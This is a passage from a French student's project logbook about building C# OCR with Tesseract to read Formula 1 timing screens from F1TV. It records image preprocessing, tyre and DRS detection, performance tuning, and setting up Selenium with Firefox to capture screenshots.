milisecondes, mais encore faut-il detecter le nombre de tours Je devrais \u00eatre en train de commencer la documentation de commment tout ce que j'ai fait fonctionne. Cependant je ne me vois pas faire ca tant que je n'ai pas au moins r\u00e9cup\u00e8r\u00e9 toutes les infos au moins un peu proprement. Cela veut dire que je commence officiellement \u00e0 prendre du retard. (Sachant que si je finis tout aujourd'hui une journ\u00e9e de doc suffira largement le terme est un peu exag\u00e8r\u00e9 mais bon) Bon pour la reconnaissance des temps c'est sp\u00e9cial... Le filtre semble ne pas changer grand chose ce qui est probl\u00e9matique et ca n'est vraiment pas fiable. Voici quelques expemples avec un treshold de 100: \"11ZSD\" Cette image est comprise comme \"11ZSD\" 42340 Cette image est comprise comme \"42340\" \"ZZAEB\" Et celle ci \"ZZAEB\"... Ce qui... n'est pas bon du tout... J'ai essay\u00e9 de trouver un fichier d'entrainement sp\u00e9cifiquement fait pour les digits. J'ai essay\u00e9 de blacklister les chars non voulus pour tenter d'obliger Tesseract \u00e0 trouver des chiffres. Avec la premi\u00e8re option, les r\u00e9sultats ne sont pas meilleurs voire pires. Avec la seconde option c'est d\u00e9ja pas mal mieux mais on perd compl\u00e8tement la possibilit\u00e9 de detecter les mots comme \"LEADER\" ou \"LAP\" et de toute facon ca n'est pas parfait. Le soucis c'est que si je n'ai pas des donn\u00e9es fiables c'est juste impossible de faire des calculs et de l'affichage correct... Il faut absolument que je trouve une solution. J'ai essay\u00e9 d'utiliser de l'interpolation our augmenter la taille de l'image et ensuite appliquer mon filtre pour retirer le flou mais sans succ\u00e8s... Pourtant la on se retrouve avec des images plut\u00f4t claires : \"Clear1\" Ici le programme trouve \"44301\" \"Clear2\" Et ici \"A5151\"... On a toujours les m\u00eames probl\u00e8mes. Bon je suis all\u00e9 me renseigner sur l'OCR et je me suis dit que j'allais tenter de faire les choses proprement. Je vais faire passer plusieurs \u00e9tapes de postProcessing avant de donner l'image \u00e0 Tesseract. GrayScale Tresholding InvertColors Scaling Dilatation Ce qui donne : \"Original\" \"Grayscale\" \"InvertColors\" ; \"Resize\" ; \"Dilatation\" Ce qui ne change : Roulement de tambour RIEN kjd viuwvuirnvoirenbf Tout ca pour rien... C'EST BON !!! Bon en fait au final le probl\u00e8me \u00e9tait une mauvaise configuration de Tesseract. Je vais devoir un peu nettoyer tout ca. Mais avec les changements de l'image on a des r\u00e9sultats BEAUCOUP plus pr\u00e9cis et potentiellement utilisables. La je vais devoir faire un serieux travail de nettoyage et simplification de mon code par ce que la c'est vraiment un chantier vu le nombre de choses que j'ai du essayer. J'ai du aussi beaucoup modifier la gestion de l'image ce qui donne : \"Clean\" Et la on a des r\u00e9sultats qui sont vraiment bons. J'ai pu ajouter assez facilement la detection de position comme c'est simplement un chiffre. On se retrouve maintenant avec ce genre de retours : Position : 1 Gap to leader : 8:33:51 Lap time : 2:19:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:828 Sector 2 : 0:42:940 Sector 3 : 0:0:0 Position : 2 Gap to leader : 0:3:259 Lap time : 23:12:392 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : VERSTAPPEN Sector 1 : 0:38:119 Sector 2 : 0:0:0 Sector 3 : 0:0:0 Il ne manque plus que l'impl\u00e9mentation de la reconnaissance du DRS et des Pneus Et non... je viens de me rendre compte que mon programme a encore cass\u00e9 car le tap time ne peut pas \u00eatre 23 min lol. J'ai un nouveau magnifique probl\u00e8me... Les points et les deux points sont interpr\u00eat\u00e9s comme des chiffres ... Give me a F * * break... J'ai du mal \u00e0 comprendre pourquoi ils ne sont d\u00e9tect\u00e9s comme tels que maintenant. Bon alors il semblerait les temps au tour aie besoin d'un ordre tr\u00e8s pr\u00e9cis pour fonctionner. Grayscale InvertColors Tresholding Resize * 2 Resize * 2 Et la on a des r\u00e9sultats un peu mieux. Bon demain il faut absolument que je me charge de r\u00e8gler tous ces probl\u00e8mes et que je commence la reconnaissance des pneus et de DRS par ce que je commence \u00e0 \u00eatre en retard.","title":"Jeudi 6 Avril"},{"location":"jdb.html#vendredi-6-avril-2023","text":"Alors aujourd'hui c'est le dernier jour avant de commencer \u00e0 \u00eatre en retard pour de bon. J'ai r\u00e9ussi \u00e0 r\u00e8gler le probl\u00e8me des temps au tour, des gaps, et des secteurs. Dans le processus j'ai cass\u00e9 la detection de position mais ca devrait pas \u00eatre TROP compliqu\u00e9. Et voila ... Apr\u00e8s seulement plus de dix heures de gal\u00e8re, si on donne cette image au programme et le bon JSON le programme nous retourne : Position : 1 Gap to leader : 0:05:059 Lap time : 1:39:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:828 Sector 2 : 0:42:940 Sector 3 : 0:00:000 Position : 2 Gap to leader : 0:03:259 Lap time : 1:39:392 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : VERSTAPPEN Sector 1 : 0:31:749 Sector 2 : 0:00:000 Sector 3 : 0:00:000 Evidemment le GapToLeader est faux sur leclerc car il est leader mais bon ca je pourrai toujours Hardcoder que le premier a jamais de GapToLeader. Bon j'ai eu beaucoup de soucis que je ne vais pas mentionner ici car ce sont simplement des soucis de logique de programmation pour trouver un DRS ouvert ou non. Au final la technique que j'utilise et qui marche plut\u00f4t bien pour le DRS est que je prend la premi\u00e8re image de DRS et je la d\u00e9clare comme valeur \u00e9talon d'un DRS non actif, en effet dans 99% des cas le leader n'a pas de DRS (cela peut arriver alors il faudra donc juste verifier que les pilotes sont bien \u00e0 moins de deux secondes les uns des autres pour confirmer). Ensuite cette valeur \u00e9talon je la calcule en fonction du nombre de pixels verts dans l'image et si il y a plus de 30% de pixels verts en plus c'est que le DRS est activ\u00e9 ex: Ceci est un DRS ferm\u00e9: \"Closed DRS\" Ceci est un DRS ouvert: \"Open DRS\" Cela marche \u00e0 peu pr\u00e8s tout le temps mais dans le pire des cas on peut toujours verifier que les pilotes sont bien proches pour detecter les potentiels rares cas de faux positifs. J'ai pu augmenter les performances en utilisant un seul engine pour tout le monde et en arr\u00eatant d'utiliser GetPixel et SetPixel qui sont simplement des horreurs \u00e0 utiliser. Mais elles ne sont pas encore bonnes Le soucis avec la detection de pneus cependant, c'est qu'il n'est pas possible d'utiliser la reconnaissance pour savoir ou regarder la couleur car cela ne marcherait pas. Je ne peux pas faire trop de post processing car je dois conserver la couleur Je ne peux pas hardocder un endroit ou aller regarder car cela \u00e9volue tout le long du Grand Prix. Bref c'est la gal\u00e8re. En y r\u00e9flechissant je me suis dit qu'une bonne id\u00e9e pourrait \u00eatre de partir de la droite de la zone du pneu en regardant au milieu de la hauteur. Puis continuer vers la gauche jusqu'\u00e0 ce que je rencontre une couleur diff\u00e9rente. Je pourrai ensuite faire une zone un peu vers la gauche qui devrait contenir les infos du pneu et sur laquelle il sera possible de faire de le reconnaissance de couleur et de la reconnaissance de chiffres. J'ai d\u00e9termin\u00e9 que le background n'\u00e9tait jamais plus clair que #505050 et que donc nimporte quelle couleur qui aurait plus que 50 dans un seul des channels serait consid\u00e8r\u00e9e comme une couleur cassant le background Pour arriver \u00e0 cette conclusion je me suis amus\u00e9 un peu avec les couleurs pour jouer avec les limites de mon algorythme : \"Color fun\" Et je crois que j'ai eu une bonne id\u00e9e, avec une petite methode bien faite on arrive \u00e0 de supers r\u00e9sultats : private Rectangle FindTyreZone () { Bitmap bmp = WindowImage ; int currentPosition = bmp . Width ; int height = bmp . Height / 2 ; Color limitColor = Color . FromArgb ( 0 x50 , 0 x50 , 0 x50 ); Color currentColor = Color . FromArgb ( 0 , 0 , 0 ); Size newWindowSize = new Size ( bmp . Height , bmp . Height ); while ( currentColor . R <= limitColor . R && currentColor . G <= limitColor . G && currentColor . B <= limitColor . B && currentPosition > 0 ) { currentPosition --; currentColor = bmp . GetPixel ( currentPosition , height ); } //Its here to let the new window include a little bit of the right side int offset = Convert . ToInt32 (( float ) newWindowSize . Width / 100f * 20f ); int CorrectedX = currentPosition - ( newWindowSize . Width - offset ); if ( CorrectedX <= 0 ) return new Rectangle ( 0 , 0 , newWindowSize . Width , newWindowSize . Height ); return new Rectangle ( CorrectedX , 0 , newWindowSize . Width , newWindowSize . Height ); } \"Tyres\" Maintenant cela devrait \u00eatre beaucoup plus simple de trouver la couleur g\u00e9n\u00e9rale et le nombre de tours. Donc ce que je fais c'est que je fais une reconnaissance de texte sur l'image r\u00e9duite. Si je trouve une lettre c'est facile Ca me donne le type de pneu et ca me dit que c'est le premier tour avec. Si c'est un nombre alors je fais la moyenne de toutes les couleurs de l'image et je prend la couleur de pneu la plus proche. Voici les diff\u00e9rentes couleurs de pneus : SOFT : #FF0000 MEDIUM : #f5bf00 HARD : #d9d8d4 INTER : #00a42e WET : #2760a6 \"Tyre colors\" Les couleurs de pneus peuvent changer de temps \u00e0 autres, par exemple cette r\u00e8gle de pneus est arriv\u00e9e en 2019 et avant il y avait beaucoup plus de couleurs mais dans une volont\u00e9 de rendre le sport plus facile \u00e0 comprendre \u00e0 la t\u00e9l\u00e9 cela a \u00e9t\u00e9 simplifi\u00e9. Je ne pense pas que cela va changer dans les ann\u00e9es qui viennent alors tout est hardcod\u00e9. Je pense que j'ai des soucis avec la detection de texte et de couleur car ma zone est trop grande. Alors bon j'\u00e9crit ces lignes apres des heures de tests. Il semble que la principale difficult\u00e9 avec ces pneus c'est que les chiffres ou lettres sont minuscules. Il est donc extr\u00eamement difficile de faire une reconnaissance ne serait-ce qu'un peu fiable.. Je fais de mon mieux pour tenter de r\u00e8gler le soucis cependant c'est vraiment complexe. Je commence \u00e0 devenir fou, je tente tout et nimporte quoi pour permettre \u00e0 mon algo de fonctionner et m\u00eame quand je fais du post processing comme pas possible il me retourne toujours nimporte quoi... \"5i t'inqui\u00e8tes\" Ici le programme va trouver '5i'... En fait c'est complexe d'expliquer tout ce que je fais car je change tout en boucle en essayant et en ratant ce qui prend des heures. Pour aujourd'hui j'abandonne je vais simplement rentrer chez moi et y r\u00e9flechir cette nuit mais je ne vois pas comment mieux faire la... C'est terrible par ce que je sens que je ne suis pas bien loin.","title":"Vendredi 6 Avril 2023"},{"location":"jdb.html#vacances","text":"Bon je vais un peu laisser de c\u00f4t\u00e9 la detection de chiffres pour me pencher un peu plus sur la d\u00e9tection de couleur. Par ce que techniquement si j'arrive \u00e0 toujours parfaitement la detecter alors je pourrais me passer des chiffres car ils sont redondant si je construit un historique de pneus. J'ai r\u00e9ussi \u00e0 fix mon probl\u00e8me de mauvaise detection de couleur de pneus. Du moins je crois. Seulement j'ai quand m\u00eame un souci, les fen\u00eatres de pneus avec une lettre n'ont pas assez de couleur pour \u00eatre d\u00e9tect\u00e9s. Je vais donc essayer de detecter les cinq lettres possibles et si il ne trouve pas alors je pourrai tenter de detecter les chiffres sans lettres ce qui devrait grandement aider. Le but est encore une fois de r\u00e9duire les possibilit\u00e9s de Tesseract. Je me rend de plus en plus compte que le plus important c'est de r\u00e9duire le scope le plus possible. Moins il y a de mots et lettres et de chiffres possibles meilleure sera la reconnaissance. Bon ca ne veut toujours pas marcher maintenant le 11 est interpr\u00eat\u00e9 comme trois I ou comme un M... J'en ai marre sans rire c'est vraiment p\u00e9nible. Alors j'\u00e9crit ces lignes deux jours plus tard et me rend compte avec horreur que toutes mes modifications sur ce journal de bord n'ont pas \u00e9t\u00e9 auvegard\u00e9e... yess.. Bon pour faire simple, j'ai r\u00e9ussi \u00e0 rendre la detection de couleurs bien plus efficace en r\u00e9duisant la taille de l'image et en ne prenant pas en compte les couleurs que l'on d\u00e9tecte comme \u00e9tant partie int\u00e9grante du background. Par exemple quand on a une image comme celle ci : \"Avec background\" qui contient un background alors que ci dessous, on l'a enlev\u00e9. \"Sans background\" La diff\u00e9rence est t\u00e9nue mais elle permet de grandement am\u00e9liorer la prescision de la reconnaissance de couleurs. Pour ce qui est du nombre de tours je me suis rendu compte que cela n'\u00e9tait d\u00e9ja pas tr\u00e8s utile car avec l'historique on devrait pouvoir le d\u00e9duire. Mais bon pour la forme je me suis dit que cela serait quand m\u00eame une bonne id\u00e9e de v\u00e9rifier avec la reconnaissance. J'\u00e9tais quasi certain que le soucis \u00e9tait le fait que l'on voie le contour du logo de pneu qui faisait que la reconnaissance avait du mal. Et j'avais raison ! En les enlevant (Ce qui n'a pas \u00e9t\u00e9 simple) J'ai pu avoir des chiffres beaucoup plus proches de la r\u00e9alit\u00e9. En m\u00eame temps je ne vois pas bien comment j'aurais pu faire mieux : \"Super 11\" Je suis quand m\u00eame assez fier de voir que j'ai r\u00e9ussi \u00e0 part de l'image que on peut voir un peu plus haut et automatiquement la transormer en celle ci-dessus. J'ai donc pu retirer le round autour du chiffre et cela m'a permit de pouvoir d\u00e9zoomer un peu et c'est avec ca que les lettres ont pu \u00eatre mieux reconnues : \"Super H\" \"Super M\" Maintenant je pense qu'il ne reste \"plus qu'\u00e0\" nettoyer un peu tout ce code qui traine de partout pour tout faire fonctionner et impl\u00e9menter un peu de parrallel processing ainsi que de l'asynchrone pour ne pas bloquer le reste du programme. Par ce qu'il faut savoir que en l'\u00e9t\u00e2t, le programme met 25 secondes \u00e0 d\u00e9marrer et consomme presque 2GB de Ram. Certes cela ne veut pas dire que la reconnaissance \u00e0 elle seule prend 25 secondes car au d\u00e9marrage il y a aussi la lecture du fichier de config et la cr\u00e9ation des window etc.. En r\u00e9alit\u00e9 la partie strictement OCR prend dans les 12s si on en croit la fonction stopWatch de C#. Et quand on change d'image la reconnaissance prend 9s. Dans tout les cas c'est BEAUCOUP trop. J'aurais eu comme objectif de faire une reconnaissance toutes les secondes. Je ne sais pas bien si cela va \u00eatre possible mais en tout cas le but va \u00eatre de s'en rapprocher. Pour \u00eatre plus exact et permettre une comparaison, voici les stats exactes Avec un fichier d'images vide : Loading - 11.8s Splitting d'images - 90ms OCR - 12.5s Avec un fichier d'images plein : Loading - 10.8s Splitting d'images - 80ms Ocr - 11.6s En passant d'une image \u00e0 l'autre : Loading - NaN Splitting d'images - 50ms Ocr - 8.8s Donc on peut voir que les deux endroits ou le programme prend le plus de temps c'est au premier d\u00e9marrage quand il faut lire le fichier et setup les windows etc... Et l'OCR qui prend un temps fou. Ce qui est pratique c'est que les presque 2gb de ram sont utilis\u00e9s que au lancement et ensuite l'application n'en utilise que quelques centaines de mb. Le processeur lui tourne entre 10 et 20% ce qui ne va pas durer :) Je vais m'occuper dabord du loading. J'ai essay\u00e9 d'utiliser un Parrallel.For au moment de la cr\u00e9ation des windows, le probl\u00e8me c'est que visiblement les objets windows sont beaucoup trops complexes et utilisent trop de ressources partag\u00e9es pour \u00eatre vraiment thread Safe. J'\u00e9sp\u00e8re que je n'aurais pas trop de soucis avec ca qu'en j'en viendrai \u00e0 l'optimisation de l'OCR... Ce qui me rend fou c'est que cette boucle toute nulle prend plus de dix secondes \u00e0 s'executer et je ne comprend pas bien pourquoi. for ( int i = 0 ; i < NUMBER_OF_DRIVERS ; i ++) { Point tmpPos = new Point ( 0 , FirstZonePosition . Y + i * FirstZoneSize . Height - Convert . ToInt32 ( i * offset ) /*- (i* (FirstZoneSize.Height / 32))*/ ); Zone newDriverZone = new Zone ( MainZoneImage , new Rectangle ( tmpPos , FirstZoneSize )); Bitmap zoneImg = newDriverZone . ZoneImage ; newDriverZone . AddWindow ( new DriverPositionWindow ( zoneImg , new Rectangle ( driverPositionPosition , driverPositionArea ))); newDriverZone . AddWindow ( new DriverGapToLeaderWindow ( zoneImg , new Rectangle ( driverGapToLeaderPosition , driverGapToLeaderArea ))); newDriverZone . AddWindow ( new DriverLapTimeWindow ( zoneImg , new Rectangle ( driverLapTimePosition , driverLapTimeArea ))); newDriverZone . AddWindow ( new DriverDrsWindow ( zoneImg , new Rectangle ( driverDrsPosition , driverDrsArea ))); newDriverZone . AddWindow ( new DriverTyresWindow ( zoneImg , new Rectangle ( driverTyresPosition , driverTyresArea ))); newDriverZone . AddWindow ( new DriverNameWindow ( zoneImg , new Rectangle ( driverNamePosition , driverNameArea ))); newDriverZone . AddWindow ( new DriverSector1Window ( zoneImg , new Rectangle ( driverSector1Position , driverSector1Area ))); newDriverZone . AddWindow ( new DriverSector2Window ( zoneImg , new Rectangle ( driverSector2Position , driverSector2Area ))); newDriverZone . AddWindow ( new DriverSector3Window ( zoneImg , new Rectangle ( driverSector3Position , driverSector3Area ))); MainZone . AddZone ( newDriverZone ); } Alors que Zone.AddWindow c'est simplement : public virtual void AddWindow ( Window window ) { Windows . Add ( window ); } Et windows est simplement une liste. Donc ca ne peut pas \u00eatre ca qui prend du temps. Et les windows que je cr\u00e9\u00e9 ont ca comme code : public DriverPositionWindow ( Bitmap image , Rectangle bounds ) : base ( image , bounds ) { Name = \"Position\" ; } Sachant que le constructeur de base d'une Window c'est : public Window ( Bitmap image , Rectangle bounds ) { Image = image ; Bounds = bounds ; Engine = new TesseractEngine ( TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Engine . DefaultPageSegMode = PageSegMode . SingleLine ; } Sachant que TesseractEngine est en statique et que donc il ne devrait... OHLLALALALALALALALALA je suis un imb\u00e9cile... J'ai juste \u00e0 changer ce constructeur avec ca: if ( Engine == null ) { Engine = new TesseractEngine ( TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Engine . DefaultPageSegMode = PageSegMode . SingleLine ; } ET le loading ne prend plus que 2-300 ms... Bon c'est une tr\u00e8s belle am\u00e9lioration pour pas tr\u00e8s ch\u00e8r mais bon c'est un peu b\u00eate... Bon je pense que 2-300ms c'est une dur\u00e9e correcte surtout que ca n'est appel\u00e9 qu'une fois pour le lancement. On peut passer \u00e0 la suite maintenant. Alors il y a un grand soucis avec la parallellisation de l'OCR... Tesseract n'est pas par d\u00e9faut une classe \"Thread safe\" ce qui veut dire que je ne peut utiliser de parallell.Foreach sur mes windows pour acc\u00e8l\u00e8rer le traitement drastiquement. Je pourrais par exemple avoir une instance de Tesseract par window sauf que cela fait 20 pilotes * 9 windows chacuns ce qui donne 180 instances ce qui n'est tout simplement pas raisonnable. Je vais donc essayer de voir avec l'utilisation de methodes asynchrones qui me permettraient de faire un genre de flux tendu de reconnaissance. J'avoue que la je navigue un peu \u00e0 vue, je me base sur diff\u00e9rentes infos que je trouve sur des sites un peu perdus et sur chatGPT, j'esp\u00e8re que j'arriverai \u00e0 trouver une solution car 10 secondes de reconnaissance c'est vraiment beaucoup trop. Alors le soucis avec un Engine unique entre toutes les windows c'est qu'il n'est pas possible de process plusieurs images \u00e0 la fois. Je vais donc retirer l'engine unique pour voir si en cr\u00e9er un par window me permet de passer en multithreading. La grande question sera : Est-ce que les ressources suppl\u00e9mentaires que vont prendre la cr\u00e9ation de tous ces engines va compenser enti\u00e8rement le temps gagn\u00e9 avec la paralellisation. Pour stocker les donn\u00e9es dans un premier temps je vais cr\u00e9er un objet DriverData. Ce qu'il y a de pratique avec ca, c'est que je pourrais ajouter du code de v\u00e9rification de certaines donn\u00e9es directement dedans avant de les donner \u00e0 la suite du programme. Et on peut m\u00eame imaginer une impl\u00e9mentation d'une liste de DriverData pour avoir l'historique. Ce qui serait cool ca serait de grouper toutes ces data avec un num\u00e9ro de tour. Placer ensuite la liste de Data dans une DB serait ainsi super simple. Mais il va falloir savoir quoi mettre, quelles infos sont redondantes et prendre en compte le fait que un tour affich\u00e9 sur la page de la F1TV n'est accompli que par certains des premiers pilotes. D'autres pilotes peuvent \u00eatre dans des tours pr\u00e9c\u00e9dents si ils ont du retard. Il faudra r\u00e9fl\u00e9chir \u00e0 cela quand je viendrai au mod\u00e8le. Bon pour y arriver j'ai du faire de gros changements et le r\u00e9sultat n'est peut-\u00eatre pas aussi cool que ce que j'aurais voulut... Voici un petit point sur les performances maintenant J'ai \u00e9galement d\u00e9sactiv\u00e9 le dump d'images. Pour le moment j'ai tout mis en commentaire mais cela pourrait \u00eatre int\u00e9ressant de faire en sorte de pouvoir l'activer en changeant une ou deux variables Au d\u00e9marrage : Loading - 113ms Splitting d'images - 14ms Ocr - 7s En passant d'une image \u00e0 l'autre : Loading - 113ms Splitting d'images - 13ms Ocr - 5s Alors clairement les stats montrent qu'il y a eu un changement mesurable mais bon je pensais pouvoir en gagner un peu plus... Je soupconne la cr\u00e9ation d'engines d'\u00eatre \u00e0 l'origine de ces performances presque d\u00e9cevantes. Autre soucis, il semble que plus je change d'image plus la detection est lente et plus je consomme de RAM. Il va falloir que je travaille encore un peu. J'ai tent\u00e9 de mettre un stopwatch sur une des cr\u00e9ations d'engine Tesseract et le r\u00e9sultat me parait fou... Plus d'une seconde c'est dingue. J'ai test\u00e9 dans d'autres endroits du code et effectivement il semble que la cr\u00e9ation d'un engine prenne entre une et deux secondes ce qui est une ETERNITEE what ! Donc il faut optimiser tout ca. Une id\u00e9e serait de d\u00e9composer le threading mais cela me demanderait un gros refactor et je n'ai pas envie d'en refaire un la... Sinon, une fois qu'ils sont cr\u00e9\u00e9s ils ne prennent pas de temps du tout. Cr\u00e9er une fois tous les engines et ensuite les utiliser pourrait \u00eatre une bonne id\u00e9e. Cela prendrait longtemps au load mais ensuite les reconnaissances devraient \u00eatre super rapides. Ok alors ca c'est d\u00e9ja plus ce \u00e0 quoi je m'attendais ! On est de nouveau \u00e0 plus de 10s de loading time mais on est descendu \u00e0 deux secondes par OCR. (Bon autre soucis, l'utilisation de la RAM est ridicule plus de 2gb mais ce qui m'inqui\u00e8te c'est que j'ai l'impression qu'elle augmente plus on change d'image) J'ai r\u00e8gl\u00e9 (en partie) le soucis en obligeant le GC (Garbage Collector) \u00e0 collecter apr\u00e8s chaque detection. m\u00eame apr\u00e8s 50 detections l'utilisation de la ram se stabilize autour des 2GB. Bon en paralellisant la cr\u00e9ation des Engines le soucis c'est que cela demande d'allouer beaucoup trop de m\u00e9moire d'un coup alors le programme se fige pendant genre cinq secondes avant de tout cr\u00e9er. Du coup m\u00eame si la cr\u00e9ation est plus rapide, on se retrouve avec un temps total plus long... Je pense que l'on va devoir se contenter de ces dix secondes. Bon la j'allais tenter de faire la documentation mais je viens de me rendre compte que la detection de temps au tour est pas vraiment encore id\u00e9ale... J'ai r\u00e9ussi \u00e0 changer un petit peu le programme de reconnaissance pour rendre la reconnaissance un peu meilleure mais cela a drastiquement augment\u00e9 le temps requis pour d\u00e9coder... On arrive \u00e0 3.5 secondes. Je vais tenter de rajouter un peu de parralell processing sur les boucles de traitement voir si cela peut aider. Alors effectivement cela aide pas mal, on arrive maintenant \u00e0 faire une detection presque tout le temps en dessous de la seconde. Et j'ai aussi du changer un peu le fonctionnement de la detection des Temps au tour. Et voila je pense que je vais m'arr\u00eater la pour la partie d\u00e9codage. Je ne pense pas que je peux facilement faire mieux que ca et il faut que j'avance dans d'autres parties du projet. Je vais pouvoir commencer \u00e0 documenter un peu toute la partie OCR. Il faut que je prenne le temps de le faire bien car c'est la partie la plus int\u00e9ressante du projet et ou je pense que j'aurai le plus essay\u00e9 de choses qui vallent le coup d\u00eatres racont\u00e9es. J'ai aussi pass\u00e9 pas mal de temps sur le poster du projet. J'avais fait des croquis au crayon de ce \u00e0 quoi je pensais, cependant apr\u00e8s de longues discussions avec M.Garcia ils n'\u00e9taient pas forc\u00e9ment tr\u00e8s bons car ils ne repr\u00e9sentent pas assez bien le fonctionnement du projet et sont un peu trop marketings. Du coup j'ai fait une premi\u00e8re version au propre : \"Poster V1\" Mais je n'\u00e9tais pas forc\u00e9ment content du r\u00e9sultat et il manquait des choses je trouve comme par exemple l'utilisation de Selenium. J'ai donc repass\u00e9 des heures \u00e0 faire une seconde version : \"Poster V2\" La police d'\u00e9criture n'est pas encore la bonne mais cela va venir. Mais je pr\u00e9f\u00e8re d\u00e9ja beaucoup cette version \u00e0 la premi\u00e8re. Je ne sais pas encore si la version finale sera une version plus travaill\u00e9e de ce poster ou compl\u00eatement autre chose mais pour l'instant je suis \u00e0 peu pr\u00e8s content de cette version. Je le trouve un tout petit peu trop brouillon ou avec trop d'infos mais il m'a \u00e9t\u00e9 de nombreuses fois reproch\u00e9 de ne pas assez montrer le fonctionnememt interne et je ne peux pas faire plus simple. L'ajout des nombres pour compartimenter le projet ajoute de la structure mais je me demande si cela suffit. Maintenant que je suis \u00e0 peu pr\u00e8s content de mon code pour l'OCR je vais commencer sa documentation. (Uniquement son fonctionnement interne pas comment s'en servir car cela va changer) Bon j'ai cr\u00e9\u00e9 u nouveau projet selenium mais m\u00eame avec les bonnes libraries je n'arrivais pas \u00e0 faire fonctionner firefox j'avais toujours une erreur \"OpenQA.Selenium.WebDriverException: 'Cannot start the driver service on http://localhost:51481/'\" et j'ai pu r\u00e8gler le probl\u00e8me en t\u00e9l\u00e9chargeant directement le gecko driver depuis le git https://github.com/mozilla/geckodriver/releases et utiliser le fichier directement dans le service : var service = FirefoxDriverService . CreateDefaultService ( AppDomain . CurrentDomain . BaseDirectory + @\"geckodriver-v0.27.0-win32\\geckodriver.exe\" ); FirefoxOptions options = new FirefoxOptions (); var driver = new FirefoxDriver ( service , options ); Le seul probl\u00e8me c'est que du coup il faut tout le temps d\u00e9placer le fichier dans le dossier bin si je clone le projet. Il faudra faire un installeur dans la version finale qui s'occupe de tout je pense. Je me suis dit que j'allais garder la doc pour le retour des vacances quand j'aurai un bureau un clavier et un setup complet un peu propres. Bon il va falloir que je parle de la r\u00e9cup\u00e9ration de cookie. J'ai d\u00e9ja pu travailler lors d'un poc sur la meilleure facon de prendres des screenshots de la F1TV : Avoir une page chrome ouverte avec le feed en plein \u00e9cran et un programme qui prend des captures d'\u00e9crans. Avoir une cam\u00e9ra qui prend en photo l'\u00e9cran au cas ou chrome et Firefox emp\u00eachent la prise de captures d'\u00e9crans. R\u00e9cup\u00e8rer directement le feed en faisant du reverse engeneering de la plateforme. Simuler un chrome en background qui prenne des screenshot sans qu'on aie \u00e0 le voir. Dans toutes ces options, je dirais que la pire \u00e9tait celle de la cam\u00e9ra qui filme l'\u00e9cran, mais \u00e0 l'\u00e9poque c'\u00e9tait encore envisageable comme solution de dernier recours. Le soucis de cette solution c'est l'horreur que serait la partie OCR avec une image de tr\u00e8s mauvaise qualit\u00e9. Une autre option qui m'aurait vraiment emb\u00eat\u00e9 aurait \u00e9t\u00e9 de devoir garder une page de Chrome ou Firefox ouverte quelque part sur un \u00e9cran pour que le programme puisse prendres des captures d'\u00e9crans. C'est de loin l'option la plus simple et la plus logique mais elle poss\u00e8de pour moi de tr\u00e8s gros points noirs : On ne peut pas certifier l'int\u00e9grit\u00e9 des donn\u00e9es car l'utilisateur a le contr\u00f4le total sur le feed. Il peut mettre pause, avancer, reculer, tout casser sans faire expr\u00e8s en ouvrant autre chose sur son ordi qui se mette pile devant. Bref c'est un peu bancale. Et surtout on bloque une partie non significative de l'\u00e9cran de l'utilisateur avec des infos redondantes. Et je peux vous dire que quand je commente la F1 j'ai besoin de beaucoup d'informations et que chaque centim\u00e8tre d'\u00e9cran est crucia\u00e9 ! Alors avoir un \u00e9cran complet bloqu\u00e9 est juste un point bloquant qui m'emp\u00eacherait d'utiliser l'app aussi bonne soit-elle dans ses pr\u00e9dictions. Mais bon si aucune autre methode ne fonctionne ce qui est bien c'est que celle la est plut\u00f4t simple \u00e0 mettre en place. Ensuite reverse engeneer le feed serait l'option la plus classe, cependant c'est la plus complexe et la plus bancale au niveau l\u00e9gal haha. L'id\u00e9e serait de r\u00e9cup\u00e8rer le lien vers le broadcast g\u00e9n\u00e9ral et de comprendre comment il fonctionne pour le d\u00e9coder nous m\u00eame pendant un Grand Prix. Seuls soucis : Il n'est pas possible de faire des tests en dehors des periodes de Grand Prix (Et je rappelle que c'est des p\u00e9riodes ou je travaille en plus) Difficile de faire un syst\u00e8me qui marche pareil pour les rediffusions et les lives. (En effet les liens des rediff sont beaucoup plus simple \u00e0 r\u00e9cup\u00e8rer mais ne fonctionnent pas du tout pareil et pour tester l'app il est essentiel de pouvoir s'entrainer sur des anciens Grand Prix) Dernier GROS soucis, je ne sais tout simplement pas faire ca lol. Je ne sais pas comment faire. Peut-\u00eatre que avec des profs qui m'aident et chat gpt ainsi qu'internet je pourrais potentiellement n\u00e9gocier un truc mais c'est hautement improbable et cela serait une perte de temps folle si je n'y arrive pas. Derni\u00e8re option que je trouve la plus s\u00e9duisante. Simuler une instance de Chrome ou de Firefox (Le soucis avec chrome c'est qu'il impl\u00e9mente l'utilisation de DRM dans les vid\u00e9os qui fait qu'il est tr\u00e8s difficile de passer outre la s\u00e9curit\u00e9 avec un bot) pour ensuite prendre des captures d'\u00e9crans automatiquement. Cette solutions offre pleins d'avantages : Pas de place prise sur l'\u00e9cran L'int\u00e9grit\u00e9 des donn\u00e9es est assur\u00e9e car c'est le programme qui d\u00e9cide d'ou partir et de si il met pause ou non C'est une option complexe mais beaucoup moins que le reverse engeneering Elle permet de ne demander presque aucun input de la part de l'utilisateur. Mais elle pose quelques probl\u00e9matiques : Comment se connecter automatiquement sans \u00eatre detect\u00e9 par un Bot et sans demander \u00e0 l'utilisateur ses identifiants (Pour des raisons \u00e9videntes qui sont : QUI VA METTRE SES IDENTIFIANTS SUR UNE VIEILLE APP COMME LA MIENNE??) Comment faire en sorte que le programme prenne les meilleures captures dans la meilleure qualit\u00e9 et en plein \u00e9cran. Mais j'ai d\u00e9cid\u00e9 de partir sur cette option. Pour ce faire j'utilise Selenium. J'ai pu tester Puppetteer Sharp et m\u00eame si dans un premier temps j'ai pu avancer asez vite, malheureusement il y a des bugs qui rendent son utilisation impossible dans notre contexte. J'ai donc d\u00e9cid\u00e9 de tout faire en utilisant un portage de Selenium dans mon programme. Voici un exemple de code qui va ouvrir FireFox et qui va lancer un RickRoll var service = FirefoxDriverService . CreateDefaultService ( AppDomain . CurrentDomain . BaseDirectory + @\"geckodriver-v0.27.0-win32\\geckodriver.exe\" ); service . Host = \"127.0.0.1\" ; service . Port = 5555 